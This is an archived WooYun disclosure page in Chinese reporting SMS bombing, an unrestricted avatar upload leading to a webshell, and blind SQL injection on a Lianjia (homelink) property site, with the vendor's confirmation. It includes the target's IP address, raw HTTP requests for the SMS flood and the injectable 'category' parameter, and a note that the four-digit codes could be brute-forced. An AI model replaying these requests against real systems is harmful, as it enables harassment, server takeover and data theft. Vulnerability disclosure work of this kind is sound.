当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0123140

漏洞标题：链家地产某站点短信接口可变轰炸机+getshell+sql

相关厂商：homelink.com.cn

漏洞作者： 默之

提交时间：2015-06-28 12:14

修复时间：2015-08-12 15:36

公开时间：2015-08-12 15:36

漏洞类型：网络设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-28： 细节已通知厂商并且等待厂商处理中
2015-06-28： 厂商已经确认，细节仅向厂商公开
2015-07-08： 细节向核心白帽子及相关领域专家公开
2015-07-18： 细节向普通白帽子公开
2015-07-28： 细节向实习白帽子公开
2015-08-12： 细节向公众公开

简要描述：

依然是问题，建议把这个系统先做好内部测试在上台吧

详细说明：

#1 短信接口变身轰炸机
在大牛申请这个界面：http://119.254.70.121/bull/toBullAuthentication.html

lj10.png


没有对发送数量和时间限制，导致短信轰炸，连续发送了十几下，几秒钟全倒了

POST /user/sendPhoneCodeAction.html HTTP/1.1
Host: 119.254.70.121
Proxy-Connection: keep-alive
Content-Length: 17
Accept: text/html, */*; q=0.01
Origin: http://119.254.70.121
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 LBBROWSER
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://119.254.70.121/bull/toBullAuthentication.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: phone=; password=; JSESSIONID=3C0EDECBF920D01F7FA771F19EA0689F
phone=***********


1873043964.jpg


#2 上传漏洞
账号设置个人资料处：http://119.254.70.121/particulate/goPersonInfo.html
大牛申请：http://119.254.70.121/bull/toBullAuthentication.html
这两处都是对头像的上传，没有进行验证，直接shell
还是同上次那个一样将内网ip改成公网的

lj9.png


其他的就不测试了，都一样
#3 SQL注入
这个没有跑出来数据库，但是绝对存在注入

POST /classroom/selectCourse.html HTTP/1.1
Host: 119.254.70.121/classroom/selectCourse.html
Proxy-Connection: keep-alive
Content-Length: 202
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://119.254.70.121
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 LBBROWSER
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://119.254.70.121/classroom/classroom.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=9C7761AFA96E94C0283CF231DD7E54D0
pageNo=1&category=28%2C44%2C45%2C46%2C44%2C45%2C46%2C29%2C43%2C52%2C53%2C69%2C70%2C52%2C53%2C30%2C50%2C51%2C607%2C608%2C609%2C610%2C51%2C31%2C47%2C48%2C49%2C47%2C48%2C49'&sort=updateTime%3Adesc


category参数存在盲注，不过没有跑出来，不深入研究了

lj12.png

漏洞证明：

lj9.png

修复方案：

这个系统。。。没啥说的了，整改好了再上台吧

版权声明：转载请注明来源 默之@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-06-28 15:34

厂商回复：

谢谢对链家安全的关注

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-28 13:17 | @sdf ( 路人 | Rank:4 漏洞数:2 | @sdf)

    mark

  2. 2015-06-28 13:39 | 默之 ( 普通白帽子 | Rank:334 漏洞数:67 | 沉淀。)

    还有一个忘了提到了，短信验证码是四位数的，猜想也没有对验证次数做限制，因此可以爆破的